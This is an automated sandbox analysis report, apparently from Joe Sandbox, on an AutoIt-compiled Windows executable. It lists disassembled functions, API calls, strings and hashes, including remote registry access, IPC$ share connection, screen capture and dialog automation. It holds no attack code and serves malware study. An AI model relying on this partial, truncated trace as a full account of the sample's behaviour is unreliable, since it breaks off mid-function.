__swprintf.LIBCMT ref: 00F1F96E
_wprintf.LIBCMT ref: 00F1FA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F1FA2E

Strings

Line %d:, xrefs: 00F1F968
^ ERROR, xrefs: 00F1F9C3
%s (%d) : ==> %s: %s %s, xrefs: 00F1FA12
Line %d (File "%s"):, xrefs: 00F1F957
Error: , xrefs: 00F1F9E5

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 6eed7382b1d449eff118dfe6d87919392fe4cf23d4cfb2e1cf8ec32fde06281c
Instruction ID: 71929d0b5d5b0f95d912ec193d980c2201f674940b0409502b77deb03875daea
Opcode Fuzzy Hash: 6eed7382b1d449eff118dfe6d87919392fe4cf23d4cfb2e1cf8ec32fde06281c
Instruction Fuzzy Hash: 7A41457290410DAACF04FBE0DE46EEEB7B8AF58350F501069F505B6092DA366F4ADF61

Function 00F4BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00F49207,?,?), ref: 00F4BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00F49207,?,?,00000000,?), ref: 00F4BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00F49207,?,?,00000000,?), ref: 00F4BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,00F49207,?,?,00000000,?), ref: 00F4BA85
GlobalLock.KERNEL32(00000000), ref: 00F4BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F49207,?,?,00000000,?), ref: 00F4BA9D
GlobalUnlock.KERNEL32(00000000), ref: 00F4BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,00F49207,?,?,00000000,?), ref: 00F4BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00F49207,?,?,00000000,?), ref: 00F4BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00F52CAC,?), ref: 00F4BAD7
GlobalFree.KERNEL32(00000000), ref: 00F4BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 00F4BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00F4BB36
DeleteObject.GDI32(00000000), ref: 00F4BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00F4BB74

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: be5ea60a2efe790c4757051538d09616d60c4883b8304e1e3bf73563a2db3b53
Instruction ID: f3942d122b44aec0e0fad55c5a1c1ede3a3bb3c292b264e06514df53c48f3492
Opcode Fuzzy Hash: be5ea60a2efe790c4757051538d09616d60c4883b8304e1e3bf73563a2db3b53
Instruction Fuzzy Hash: 9D412A79500208EFDB119F65DC48EAB7BB8EB9AB21F104068FD09D7261D7749A05EB60

Function 00F2D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00F2DA10
_wcscat.LIBCMT ref: 00F2DA28
_wcscat.LIBCMT ref: 00F2DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F2DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 00F2DA63
GetFileAttributesW.KERNEL32(?), ref: 00F2DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 00F2DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 00F2DAA7

Strings

*.*, xrefs: 00F2DAE6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 9110bc10ccf86dca9dd20709758d4755fcbf7bd4b74f49ef65990f00884a105f
Instruction ID: 229251b18be3c2c2188cef3bc0644f340a8bf456d191cf790bf67e18a7a7b0c0
Opcode Fuzzy Hash: 9110bc10ccf86dca9dd20709758d4755fcbf7bd4b74f49ef65990f00884a105f
Instruction Fuzzy Hash: 8C81E4729043549FCB24DF64D844AAAB7E8FF89320F14882EF889D7211E731DD85DB52

Function 00F4C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00F4C1FC
GetFocus.USER32 ref: 00F4C20C
GetDlgCtrlID.USER32(00000000), ref: 00F4C217
_memset.LIBCMT ref: 00F4C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00F4C36D
GetMenuItemCount.USER32(?), ref: 00F4C38D
GetMenuItemID.USER32(?,00000000), ref: 00F4C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00F4C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00F4C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F4C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00F4C489

Strings

0, xrefs: 00F4C33A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: c4bf446b20ad3c94082fec652cde65758bab73888a9839b9b453674690510306
Instruction ID: 6475cd907ce0e6c0126ee92225ef109b3a5b3e56401b4441a8dee7b8e3f285af
Opcode Fuzzy Hash: c4bf446b20ad3c94082fec652cde65758bab73888a9839b9b453674690510306
Instruction Fuzzy Hash: 5981BE716093059FD750CF14C984A7BBBE8FB88724F00592EFE99972A1D770D904EBA2

Function 00F3731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00F3738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00F3739B
CreateCompatibleDC.GDI32(?), ref: 00F373A7
SelectObject.GDI32(00000000,?), ref: 00F373B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00F37408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00F37444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00F37468
SelectObject.GDI32(00000006,?), ref: 00F37470
DeleteObject.GDI32(?), ref: 00F37479
DeleteDC.GDI32(00000006), ref: 00F37480
ReleaseDC.USER32(00000000,?), ref: 00F3748B

Strings

(, xrefs: 00F37410

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 9eca7e6e6fbd8e716732f2895d2387b757fe6dba92a057d3c730cece3477145f
Instruction ID: 0e8232eae9779139ed3e0b6955b5ae54dca8d9c538d146830e8e87d165b2821c
Opcode Fuzzy Hash: 9eca7e6e6fbd8e716732f2895d2387b757fe6dba92a057d3c730cece3477145f
Instruction Fuzzy Hash: 39516EB5904309EFCB24DFA8CC84EAEBBB9EF49320F14842DF95997210D771A844DB50

Function 00EC6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00EE0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00EC6B0C,?,00008000), ref: 00EE0973

Part of subcall function 00EC4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC4743,?,?,00EC37AE,?), ref: 00EC4770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00EC6BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00EC6CFA

Part of subcall function 00EC586D: _wcscpy.LIBCMT ref: 00EC58A5

Part of subcall function 00EE363D: _iswctype.LIBCMT ref: 00EE3645

Strings

EA06, xrefs: 00EFE452
Error opening the file, xrefs: 00EFE43D, 00EFE4B8
AU3!, xrefs: 00EC6B61
Unterminated string, xrefs: 00EFE7E4
>>>AUTOIT SCRIPT<<<, xrefs: 00EFE496
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00EFE421
Bad directive syntax error, xrefs: 00EFE79D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 6eef7fe9eb3466eea977cb0fef491a9c5641f6c43071b51f9c95ccd268e728ad
Instruction ID: 12b8ebeff38da1848da7975b12a35bdb84f6451c5bd91081d0c5428403e74420
Opcode Fuzzy Hash: 6eef7fe9eb3466eea977cb0fef491a9c5641f6c43071b51f9c95ccd268e728ad
Instruction Fuzzy Hash: 2202CF311083449FC714EF24C981EAFBBE5EF94314F10582DF59AA72A1DB31E98ACB52

Function 00F22D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F22D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00F22DDD
GetMenuItemCount.USER32(00F85890), ref: 00F22E66
DeleteMenu.USER32(00F85890,00000005,00000000,000000F5,?,?), ref: 00F22EF6
DeleteMenu.USER32(00F85890,00000004,00000000), ref: 00F22EFE
DeleteMenu.USER32(00F85890,00000006,00000000), ref: 00F22F06
DeleteMenu.USER32(00F85890,00000003,00000000), ref: 00F22F0E
GetMenuItemCount.USER32(00F85890), ref: 00F22F16
SetMenuItemInfoW.USER32(00F85890,00000004,00000000,00000030), ref: 00F22F4C
GetCursorPos.USER32(?), ref: 00F22F56
SetForegroundWindow.USER32(00000000), ref: 00F22F5F
TrackPopupMenuEx.USER32(00F85890,00000000,?,00000000,00000000,00000000), ref: 00F22F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00F22F7E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 7eede10ec1cbb43bec5bee048238c138beeb9219585c43a9de588aa3587940ad
Instruction ID: 157da36755ab08c3c6bb253c1fca0fa277c85674faddabf60c6f094356de9693
Opcode Fuzzy Hash: 7eede10ec1cbb43bec5bee048238c138beeb9219585c43a9de588aa3587940ad
Instruction Fuzzy Hash: D471F671A00629BFEB618F54EC45FAABF64FF05324F140216F629AA1E0C7B55C20F791

Function 00F177DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

_memset.LIBCMT ref: 00F1786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00F178A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00F178BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00F178D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00F17902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00F1792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00F17935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00F1793A

Strings

\IPC$, xrefs: 00F17882
\CLSID, xrefs: 00F17822
SOFTWARE\Classes\, xrefs: 00F1780C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: b6fb38556c86fc7f9f1633b2fe217aeed495421db75d10d0422f0c9dea5cdebf
Instruction ID: 1bcfbdb05b796da69666bdd4a14d200752c0af438748a158e7f4f4e69c844a48
Opcode Fuzzy Hash: b6fb38556c86fc7f9f1633b2fe217aeed495421db75d10d0422f0c9dea5cdebf
Instruction Fuzzy Hash: 50413872C1422DABCF11EBA4DD85EEEB7B8BF58310F404069E819B3161DA319D49DF90

Function 00F40E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F3FDAD,?,?), ref: 00F40E31

Strings

HKCR, xrefs: 00F40ED9
HKCC, xrefs: 00F40EFF
HKU, xrefs: 00F40F43
HKEY_CURRENT_USER, xrefs: 00F40F10
HKEY_CURRENT_CONFIG, xrefs: 00F40EEE
HKEY_CLASSES_ROOT, xrefs: 00F40EC4
HKEY_LOCAL_MACHINE, xrefs: 00F40E9A
HKLM, xrefs: 00F40EAF
HKEY_USERS, xrefs: 00F40F32
HKCU, xrefs: 00F40F21

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 788b46f45dae7b03493b57f62c3955f10e550d031b7e1519ce92e3c3ab056441
Instruction ID: 898b99587209d9f454ebdf63eeba66cb50757bc575bcedd56034e73634e79854
Opcode Fuzzy Hash: 788b46f45dae7b03493b57f62c3955f10e550d031b7e1519ce92e3c3ab056441
Instruction Fuzzy Hash: 68419C3250424E8BCF10EF50D855AEE3BA4EF11320F148425FD592B292DBB19D9BEBA1

Function 00F1F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00EFE2A0,00000010,?,Bad directive syntax error,00F4F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00F1F7C2
LoadStringW.USER32(00000000,?,00EFE2A0,00000010), ref: 00F1F7C9

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

_wprintf.LIBCMT ref: 00F1F7FC
__swprintf.LIBCMT ref: 00F1F81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00F1F88D

Strings

Line %d:, xrefs: 00F1F818
%s (%d) : ==> %s.: %s %s, xrefs: 00F1F7F7
., xrefs: 00F1F873
Line %d (File "%s"):, xrefs: 00F1F833
Error: , xrefs: 00F1F85B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: e0999aaaa994760882d76e2dc309217b8f0e198344307b0e523dc5740a28f869
Instruction ID: 1598512efdab82e8775ed0c23d1096f1e80660ef7403be3751c222f9d1ad11fd
Opcode Fuzzy Hash: e0999aaaa994760882d76e2dc309217b8f0e198344307b0e523dc5740a28f869
Instruction Fuzzy Hash: 5321753294021EEBCF11EF90CC09FED7775BF18310F04446AF519760A1DA729559EB51

Function 00F252C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

Part of subcall function 00EC7924: _memmove.LIBCMT ref: 00EC79AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00F25330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00F25346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F25357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00F25369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00F2537A

Strings

open , xrefs: 00F252DF
alias PlayMe, xrefs: 00F25309
play PlayMe, xrefs: 00F25375
close PlayMe, xrefs: 00F25341, 00F2536E
status PlayMe mode, xrefs: 00F2532B
play PlayMe wait, xrefs: 00F25364

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 0271bdfe16439b411a4b9a4155620d4baf4788e6c3cdc5184739cfd1e21c2213
Instruction ID: 0dbe69da0c8dc83f5bde6394c3ce454b7b6cb7cbaf48b7d3dfd1112868745b95
Opcode Fuzzy Hash: 0271bdfe16439b411a4b9a4155620d4baf4788e6c3cdc5184739cfd1e21c2213
Instruction Fuzzy Hash: C411E231A9012979D724F661DC4AEFFBBBCEBD5F90F00042AB416A20D0DEB14C06D9A2

Function 00F246B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00F246D2
gethostname.WSOCK32(?,00000100), ref: 00F246EC
gethostbyname.WSOCK32(?), ref: 00F246F9
_wcscpy.LIBCMT ref: 00F24721
_memmove.LIBCMT ref: 00F24734
inet_ntoa.WSOCK32(?), ref: 00F2473F
_strcat.LIBCMT ref: 00F2474D
_wcscpy.LIBCMT ref: 00F24764
WSACleanup.WSOCK32 ref: 00F24772
_wcscpy.LIBCMT ref: 00F24780

Strings

0.0.0.0, xrefs: 00F2471B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: a808b5a0b11abc582a5ab44300310e373aea1b831512ca6ccb5b121c094136ea
Instruction ID: f215396b17f7770f7f2c357b3c407ecb565d7dca64e72688a4c90cb3e059660a
Opcode Fuzzy Hash: a808b5a0b11abc582a5ab44300310e373aea1b831512ca6ccb5b121c094136ea
Instruction Fuzzy Hash: 90112B3590012C6FDB10AB30AC46EDA77BCDF12721F00017AF959A6091FFB59D85E651

Function 00F24F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00F24F7A

Part of subcall function 00EE049F: timeGetTime.WINMM(?,76C1B400,00ED0E7B), ref: 00EE04A3

Sleep.KERNEL32(0000000A), ref: 00F24FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00F24FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00F24FEC
SetActiveWindow.USER32 ref: 00F2500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00F25019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00F25038
Sleep.KERNEL32(000000FA), ref: 00F25043
IsWindow.USER32 ref: 00F2504F
EndDialog.USER32(00000000), ref: 00F25060

Strings

BUTTON, xrefs: 00F24FDE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: d642f0baafabe99a3d368f84b3d6e31f5daa6b0a0544bc3d8f8f85403824187f
Instruction ID: b3bed24ddaee6ad99f362de352e403f197f49d44ab0646cdd2923e3509ec386c
Opcode Fuzzy Hash: d642f0baafabe99a3d368f84b3d6e31f5daa6b0a0544bc3d8f8f85403824187f
Instruction Fuzzy Hash: 3E21F37460060DEFE7109F60FD88B763B69EB56B55F081024F909C61B5CB718D44B762

Function 00F2D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

CoInitialize.OLE32(00000000), ref: 00F2D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00F2D67D
SHGetDesktopFolder.SHELL32(?), ref: 00F2D691
